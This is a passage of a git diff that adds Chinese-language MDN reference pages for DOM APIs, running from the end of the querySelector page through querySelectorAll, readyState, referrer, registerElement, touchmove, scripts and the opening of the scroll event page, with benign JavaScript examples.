+<p>如果选择器是一个 ID，并且这个 ID 在文档中错误地使用了多次，那么返回第一个匹配该 ID 的元素。</p> + +<p>CSS 伪类不会返回任何元素，见 <a href="http://www.w3.org/TR/selectors-api/#grammar">Selectors API</a> 中的相关规定。</p> + +<h3 id="转义特殊字符">转义特殊字符</h3> + +<p>如果要匹配的ID或选择器不符合 CSS 语法（比如不恰当地使用了冒号或者空格），你必须用反斜杠将这些字符转义。由于 JavaScript 中，反斜杠是转义字符，所以当你输入一个文本串时，你必须将它转义两次（一次是为 JavaScript 字符串转义，另一次是为 <code>querySelector</code> 转义）：</p> + +<pre class="brush: html notranslate"><div id="foo\bar"></div> +<div id="foo:bar"></div> + +<script> + console.log('#foo\bar') // "#fooar" + document.querySelector('#foo\bar') // 不匹配任何元素 + + console.log('#foo\\bar') // "#foo\bar" + console.log('#foo\\\\bar') // "#foo\\bar" + document.querySelector('#foo\\\\bar') // 匹配第一个div + + document.querySelector('#foo:bar') // 不匹配任何元素 + document.querySelector('#foo\\:bar') // 匹配第二个div +</script> +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="查找第一个匹配_class属性的html元素">查找第一个匹配 class属性的html元素</h3> + +<p>这个例子中，会返回当前文档中第一个类名为 "<code>myclass</code>" 的元素：</p> + +<pre class="brush: js notranslate">var el = document.querySelector(".myclass");</pre> + +<h3 id="一个更复杂的选择器">一个更复杂的选择器</h3> + +<p><em>选择器也可以非常强大，如以下示例所示</em>.</p> + +<p>这里, 一个class属性为"user-panel main"的div元素{{HTMLElement("div")}}(<code><div class="user-panel main"></code>)内包含一个name属性为"login"的input元素{{HTMLElement("input")}} (<code><input name="login"/></code>) ，如何选择，如下所示:</p> + +<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name='login']");</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">技术规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>初稿</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.querySelector")}}</p> + +<h2 id="See_also" name="See_also">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> + <li>{{domxref("Element.querySelector()")}}</li> + <li>{{domxref("Document.querySelectorAll()")}}</li> + <li>{{domxref("Element.querySelectorAll()")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelecto</a>r</li> +</ul> diff --git a/files/zh-cn/web/api/document/queryselectorall/index.html b/files/zh-cn/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..0e43d6020b --- /dev/null +++ b/files/zh-cn/web/api/document/queryselectorall/index.html @@ -0,0 +1,185 @@ +--- +title: Document.querySelectorAll +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS Selectors + - DOM + - Document + - Finding Elements + - Locating Elements + - Method + - Reference + - Searching Elements + - Selecting Elements + - Selectors + - querySelectorAll +translation_of: Web/API/Document/querySelectorAll +--- +<div>{{ ApiRef("DOM") }}</div> + +<h2 id="Summary" name="Summary">概述</h2> + +<p>返回与指定的选择器组匹配的文档中的元素列表 (使用深度优先的先序遍历文档的节点)。返回的对象是 {{domxref("NodeList")}} 。</p> + +<div class="note"> +<p>注意：此方法基于{{domxref("ParentNode")}} mixin的{{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 实现。</p> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>); +</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>一个 {{domxref("DOMString")}} 包含一个或多个匹配的选择器。这个字符串必须是一个合法的 <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> 如果不是，会抛出一个 <code>SyntaxError</code> 错误。有关使用选择器标识元素的更多信息，请参阅 <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> 可以通过使用逗号分隔多个选择器来指定它们。</dd> +</dl> + +<div class="note"> +<p><strong>注意：</strong> 必须使用反斜杠字符转义不属于标准CSS语法的字符。 由于JavaScript也使用反斜杠转义，因此在使用这些字符编写字符串文字时必须特别小心。 有关详细信息，请参阅 {{anch("Escaping special characters")}}</p> +</div> + +<h3 id="返回值">返回值</h3> + +<p>一个静态 {{domxref("NodeList")}}，包含一个与至少一个指定选择器匹配的元素的{{domxref("Element")}}对象，或者在没有匹配的情况下为空{{domxref("NodeList")}}</p> + +<div class="note"> +<p><strong>注意：</strong> 如果<code>selectors</code>参数中包含 <a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS伪元素</a>，则返回的列表始终为空。</p> +</div> + +<h3 id="另外">另外</h3> + +<dl> + <dt><code>SyntaxError</code></dt> + <dd>如果指定的 <code>选择器</code> 不合法，会抛出错误。如$("##div")</dd> +</dl> + +<h2 id="例子">例子</h2> + +<h3 id="获取匹配列表">获取匹配列表</h3> + +<p>要获取文档中所有{{HTMLElement("p")}}元素的{{domxref("NodeList")}}。</p> + +<pre class="brush: js">var matches = document.querySelectorAll("p");</pre> + +<p>此示例返回文档中所有{{HTMLElement("div")}}元素的列表，其中class包含"<code>note</code>"或"<code>alert</code>"：</p> + +<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert"); +</pre> + +<p>在这里，我们得到一个<code><p></code>元素的列表，其直接父元素是一个class为<code>"highlighted"</code>的{{domxref("div")}}，并且位于ID为<code>"test"</code>的容器内。</p> + +<pre class="brush: js">var container = document.querySelector("#test"); +var matches = container.querySelectorAll("div.highlighted > p");</pre> + +<p>此示例使用<a href="/en-US/docs/Web/CSS/Attribute_selectors">属性选择器</a>返回文档中属性名为<code>"data-src"</code>的{{domxref("iframe")}}元素列表：</p> + +<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre> + +<p>这里，属性选择器用于返回ID为<code>"userlist"</code>的列表中包含值为<code>"1"</code>的<code>"data-active"</code>属性的元素</p> + +<pre class="brush: js">var container = document.querySelector("#userlist"); +var matches = container.querySelectorAll("li[data-active='1']");</pre> + +<h3 id="访问匹配项">访问匹配项</h3> + +<p>一旦返回匹配元素的{{domxref("NodeList")}}，就可以像任何数组一样检查它。 如果数组为空（即，其<code>length</code>属性为0），则找不到匹配项。</p> + +<p>否则，您只需使用标准数组方法来访问列表的内容。 您可以使用任何常见的循环语句，例如：</p> + +<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted"); + +highlightedItems.forEach(function(userItem) { + deleteUser(userItem); +});</pre> + +<h2 id="用户备注">用户备注</h2> + +<p><code>querySelectorAll()</code> 的行为与大多数常见的JavaScript DOM库不同，这可能会导致意外结果。</p> + +<h3 id="HTML">HTML</h3> + +<p>考虑这个HTML及其三个嵌套的{{HTMLElement("div")}}块</p> + +<pre class="brush: html"><div class="outer"> + <div class="select"> + <div class="inner"> + </div> + </div> +</div></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll('.outer .inner'); +inner.length; // 1, not 0! +</pre> + +<p>在这个例子中，当在<code><div></code>上下文中选择带有<code>"select"</code>类的<code>".outer .inner"</code>时，仍然会找到类<code>".inner"</code>的元素，即使<code>.outer</code>不是基类的后代 执行搜索的元素（<code>".select"</code>）。 默认情况下，<code>querySelectorAll()</code>仅验证选择器中的最后一个元素是否在搜索范围内。</p> + +<p>{{cssxref(":scope")}} 伪类符合预期的行为，只匹配基本元素后代的选择器：</p> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll(':scope .outer .inner'); +inner.length; // 0 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Living standard</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>Original definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div> + + +<p>{{Compat("api.Document.querySelectorAll")}}</p> +</div> + +<h2 id="相关连接">相关连接</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> + <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> in the CSS Guide</li> + <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> in the MDN Learning Area</li> + <li>{{domxref("Element.querySelector()")}} and {{domxref("Element.querySelectorAll()")}}</li> + <li>{{domxref("Document.querySelector()")}}</li> + <li>{{domxref("DocumentFragment.querySelector()")}} and {{domxref("DocumentFragment.querySelectorAll()")}}</li> + <li>{{domxref("ParentNode.querySelector()")}} and {{domxref("ParentNode.querySelectorAll()")}}</li> + <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li> +</ul> + +<p>{{ languages( { "en": "en/DOM/Document.querySelectorAll"} ) }}</p> diff --git a/files/zh-cn/web/api/document/readystate/index.html b/files/zh-cn/web/api/document/readystate/index.html new file mode 100644 index 0000000000..cc4336dddb --- /dev/null +++ b/files/zh-cn/web/api/document/readystate/index.html @@ -0,0 +1,130 @@ +--- +title: document.readyState +slug: Web/API/Document/readyState +tags: + - API + - DOMContentLoaded + - Document.readyState + - HTML DOM + - load + - onload + - readyState + - 参考 + - 属性 +translation_of: Web/API/Document/readyState +--- +<p>{{APIRef("DOM")}}{{ gecko_minversion_header("1.9.2") }}</p> + +<p><strong><code>Document.readyState</code> </strong>属性描述了{{ domxref("document") }} 的加载状态。</p> + +<p>当该属性值发生变化时，会在 {{domxref("document")}} 对象上触发 {{event("readystatechange")}} 事件。</p> + +<h2 id="语法">语法</h2> + +<pre>var <var>string</var> = <var>document</var>.readyState;</pre> + +<h3 id="值">值</h3> + +<p>一个文档的 <code><strong>readyState</strong></code> 可以是以下之一：</p> + +<dl> + <dt><code>loading</code>（正在加载）</dt> + <dd>{{ domxref("document") }} 仍在加载。</dd> + <dt><code>interactive</code>（可交互）</dt> + <dd>文档已被解析，"<strong>正在加载</strong>"状态结束，但是诸如图像，样式表和框架之类的子资源仍在加载。</dd> + <dt><code>complete</code>（完成）</dt> + <dd>文档和所有子资源已完成加载。表示 {{event("load")}} 状态的事件即将被触发。</dd> +</dl> + +<h2 class="editable" id="示例">示例</h2> + +<h3 id="不同的准备状态">不同的准备状态</h3> + +<pre class="brush:js ">switch (document.readyState) { + case "loading": + // 表示文档还在加载中，即处于“正在加载”状态。 + break; + case "interactive": + // 文档已经结束了“正在加载”状态，DOM元素可以被访问。 + // 但是像图像，样式表和框架等资源依然还在加载。 + var span = document.createElement("span"); + span.textContent = "A <span> element."; + document.body.appendChild(span); + break; + case "complete": + // 页面所有内容都已被完全加载. + let CSS_rule = document.styleSheets[0].cssRules[0].cssText; + console.log(`The first CSS rule is: ${CSS_rule }`); + break; +}</pre> + +<h3 id="模拟_DOMContentLoaded_事件的_readystatechange">模拟 DOMContentLoaded 事件的 readystatechange</h3> + +<pre class="brush:js ">// 模拟 DOMContentLoaded/ jquery ready +document.onreadystatechange = function () { + if (document.readyState === "interactive") { + initApplication(); + } +}</pre> + +<h3 id="模拟_load_事件的_readystatechange">模拟 load 事件的 readystatechange</h3> + +<pre class="brush: js ">// 模拟 load 事件 +document.onreadystatechange = function () { + if (document.readyState === "complete") { + initApplication(); + } +}</pre> + +<h3 id="在_DOMContentLoaded_之前使用_readystatechange_作为事件处理程序以插入或修改DOM">在 DOMContentLoaded 之前使用 readystatechange 作为事件处理程序以插入或修改DOM</h3> + +<pre>document.addEventListener('readystatechange', event => { + if (event.target.readyState === 'interactive') { + initLoader(); + } + else if (event.target.readyState === 'complete') { + initApp(); + } +}); +</pre> + +<h2 id="规范">规范</h2> + +<table> + <thead> + <tr> + <th scope="col"><strong>规范</strong></th> + <th scope="col"><strong>状态</strong></th> + <th scope="col"><strong>注释</strong></th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial specification.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.readyState")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{event("readystatechange")}} event</li> + <li>{{event("DOMContentLoaded")}} event</li> + <li>{{event("load")}} event</li> +</ul> diff --git a/files/zh-cn/web/api/document/referrer/index.html b/files/zh-cn/web/api/document/referrer/index.html new file mode 100644 index 0000000000..281b9dabdf --- /dev/null +++ b/files/zh-cn/web/api/document/referrer/index.html @@ -0,0 +1,38 @@ +--- +title: document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - 参考 + - 属性 +translation_of: Web/API/Document/referrer +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.referrer</code></strong> 返回的是一个 <a class="external" href="http://www.w3.org/Addressing/#background">URI</a>, 当前页面就是从这个 URI 所代表的页面 跳转或打开的.</p> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <var>referrer</var> = <var>document</var>.referrer; +</pre> + +<h3 id="值">值</h3> + +<p>如果用户直接打开了这个页面（不是通过页面跳转，而是通过地址栏或者书签等打开的），则该属性为空字符串。由于该属性只是返回一个字符串，所以不能够通过该属性引用页面的 DOM。</p> + +<p>在{{HTMLElement("iframe")}}中，<strong><code>Document.referrer</code></strong> 会初始化为父窗口{{domxref("Window/location", "Window.location")}}的{{domxref("HTMLHyperlinkElementUtils/href", "href")}}。</p> + +<h2 id="规范">规范</h2> + +<ul> + <li><a href="https://www.w3.org/TR/2009/REC-DOM-Level-2-HTML-20090303/html.html#ID-95229140">DOM Level 2: referrer</a></li> +</ul> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">下面这个兼容性表格由结构化数据生成，如果您想为该数据做贡献，请查看这里(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)并给我们发送PR。</div> + +<div>{{Compat("api.Document.referrer")}}</div> diff --git a/files/zh-cn/web/api/document/registerelement/index.html b/files/zh-cn/web/api/document/registerelement/index.html new file mode 100644 index 0000000000..33aca04807 --- /dev/null +++ b/files/zh-cn/web/api/document/registerelement/index.html @@ -0,0 +1,66 @@ +--- +title: Document.registerElement() +slug: Web/API/Document/registerElement +tags: + - API + - DOM + - Deprecated +translation_of: Web/API/Document/registerElement +--- +<p>{{APIRef("DOM")}}{{Deprecated_header}}</p> + +<div class="warning"> +<p>警告：不建议使用<code>document.registerElement（）</code>,请使用{{DOMxRef("CustomElementRegistry.define()","customElements.define()")}}。</p> +</div> + +<p>{{draft}}</p> + +<p><code><strong>Document.registerElement()</strong></code> 在浏览器注册一个新的 <a href="/en-US/docs/Web/Web_Components/Custom_Elements">自定义元素</a> ，返回一个该元素的构造函数。</p> + +<div class="note"> +<p><strong><span class="s1">注意</span>：</strong>这是一项正在试验的技术。你可以在支持Web Components的浏览器中使用。参考 <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">在火狐浏览器启用Web Components</a> 。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><em>tag-name</em></dt> + <dd>自定义标签的名字。 必须含有一个连字符（-），例如 <code>my-tag。</code></dd> + <dt><em>options {{optional_inline}}</em></dt> + <dd>这个参数是一个用于添加描述自定义元素原型属性和扩展的对象，以扩展现有标签。这个参数是可选的。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>这里有几个简单的例子：</p> + +<pre class="brush: js">var Mytag = document.registerElement('my-tag'); +</pre> + +<p>我们把新标签注册到浏览器。 <code>Mytag</code> 变量拥有一个构造函数，你可以像如下所示一样使用它创造一个新的<span style="font-family: courier,andale mono,monospace;">my-tag</span>元素<span style="font-family: courier,andale mono,monospace;">。</span></p> + +<pre class="brush: js">document.body.appendChild(new Mytag());</pre> + +<p>这样我们就插入了一个空的<span style="font-family: courier,andale mono,monospace;">my-tag元素，你可以通过浏览器提供的开发者工具来找到它。</span>如果你使用浏览器来查看源代码它是不可见的<span style="font-family: courier,andale mono,monospace;">。由于现在元素并没有内容，所以我们在页面中是看不到它的。我们可以给它添加一些内容，以便在页面中看到</span>。 下面是一种往新标签里面添加内容的方式。</p> + +<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0]; +mytag.textContent = "I am a my-tag element."; +</pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.registerElement")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a dir="ltr" href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Custom_Elements">Custom Elements</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/releasecapture/index.html b/files/zh-cn/web/api/document/releasecapture/index.html new file mode 100644 index 0000000000..798a7e46f3 --- /dev/null +++ b/files/zh-cn/web/api/document/releasecapture/index.html @@ -0,0 +1,20 @@ +--- +title: document.releaseCapture +slug: Web/API/Document/releaseCapture +translation_of: Web/API/Document/releaseCapture +--- +<p>{{ ApiRef() }}{{ gecko_minversion_header("2.0") }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>如果该 document 中的一个元素之上当前启用了鼠标捕获，则释放鼠标捕获。通过调用 {{ domxref("element.setCapture()") }} 实现在一个元素上启用鼠标捕获。</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval">document.releaseCapture() +</pre> +<p>一旦释放鼠标捕获，鼠标事件将不再全部被定向到启用了鼠标捕获的元素。</p> +<h3 id="Example" name="Example">示例</h3> +<p>请参见 {{ domxref("element.setCapture()") }} 的 <a href="/en/DOM/element.setCapture#Example" title="en/DOM/element.setCapture#Example">示例</a></p> +<h3 id="Specification" name="Specification">规范</h3> +<p>基于 Internet Explorer 的实现。</p> +<h3 id="参见">参见</h3> +<ul> + <li>{{ domxref("element.setCapture()") }}</li> +</ul> diff --git a/files/zh-cn/web/api/document/rouchmove_event/index.html b/files/zh-cn/web/api/document/rouchmove_event/index.html new file mode 100644 index 0000000000..1321a0c4d2 --- /dev/null +++ b/files/zh-cn/web/api/document/rouchmove_event/index.html @@ -0,0 +1,171 @@ +--- +title: touchmove +slug: Web/API/Document/rouchmove_event +translation_of: Web/API/Document/touchmove_event +--- +<div>{{APIRef}}</div> + +<p><code>当触点在</code>触控平面<code>上移动时触发touchmove事件。</code></p> + +<h2 id="常规信息">常规信息</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">规范</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://w3c.github.io/touch-events/#event-touchmove">Touch Events</a></dd> + <dt style="float: left; text-align: right; width: 120px;">接口</dt> + <dd style="margin: 0 0 0 120px;">{{domxref("TouchEvent")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">是否冒泡</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">能否取消默认行为</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">目标</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">默认行为</dt> + <dd style="margin: 0 0 0 120px;">无</dd> +</dl> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>DOMString</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event normally bubbles or not.</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event is cancellable or not.</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>WindowProxy</td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td>long (float)</td> + <td>0.</td> + </tr> + <tr> + <td><code>touches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td> + </tr> + <tr> + <td><code>targetTouches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td> + </tr> + <tr> + <td><code>changedTouches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br> + For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<p>这些事件的代码示例在这个页面 <a href="https://developer.mozilla.org/en-US/DOM/Touch_events">Touch events</a> 中均有体现。</p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("22.0")}}</td> + <td>{{CompatGeckoDesktop("18.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("6.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>11</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关事件">相关事件</h2> + +<ul> + <li>{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/scripts/index.html b/files/zh-cn/web/api/document/scripts/index.html new file mode 100644 index 0000000000..d02f838d8c --- /dev/null +++ b/files/zh-cn/web/api/document/scripts/index.html @@ -0,0 +1,69 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +translation_of: Web/API/Document/scripts +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回一个{{ domxref("HTMLCollection") }}对象,包含了当前文档中所有{{ HTMLElement("script") }}元素的集合.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><code>var <em>scriptList</em></code> = document.scripts; +</pre> +<p><code>scriptList是一个</code>{{ domxref("HTMLCollection") }}对象.你可以像使用数组一样通过索引来获取其中包含的{{ HTMLElement("script") }}元素.</p> +<h3 id="例子">例子</h3> +<p>下例演示了如何查看当前页面是否包含有{{ HTMLElement("script") }}元素.</p> +<pre class="brush: js">var scripts = document.scripts; + +if (scripts.length) { + alert("该页面存在script标签!"); +} +</pre> +<h3 id="Specification" name="Specification">浏览器兼容性</h3> +<p>{{ CompatibilityTable() }}</p> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoDesktop("9.0") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoMobile("9.0") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<h3 id="Specification" name="Specification">规范</h3> +<p>{{ spec("http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#dom-document-scripts", "DOM: document scripts") }}</p> +<p>{{ languages( {"en": "en/DOM/Document.scripts" } ) }}</p> diff --git a/files/zh-cn/web/api/document/scroll_event/index.html b/files/zh-cn/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..1b28068003 --- /dev/null +++ b/files/zh-cn/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: scroll event' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Event + - Reference + - Scroll + - requestAnimationFram + - 事件 + - 参考 + - 滚动 +translation_of: Web/API/Document/scroll_event +--- +<p>文档视图或者一个元素在滚动时，会触发元素的<strong><code>scroll</code></strong>事件。</p> + +<table class="properties"> + <thead> + </thead> + <tbody> + <tr> + <th>Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th>Cancelable</th> + <td>No</td> + </tr> + <tr> + <th>Interface</th> + <td>{{DOMxRef("Event")}}</td> + </tr> + <tr> + <th>Event handler property</th> + <td>{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>注意：</strong>在 iOS UIWebViews中， 滚动进行时不会触发 <code>scroll</code> 事件；只有当滚动结束后事件才会被触发。参见 <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>。Safari 和 WKWebViews 则没有这个问题。</p> +</div> + +<h2 id="示例">示例</h2> + +<h3 id="Scroll_事件节流">Scroll 事件节流</h3> + +<p>由于 <code>scroll</code> 事件可被高频触发，事件处理程序不应该执行高性能消耗的操作，如DOM操作。而更推荐的做法是使用 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 或 {{DOMxRef("CustomEvent")}} 给事件节流，如下所述。</p> + 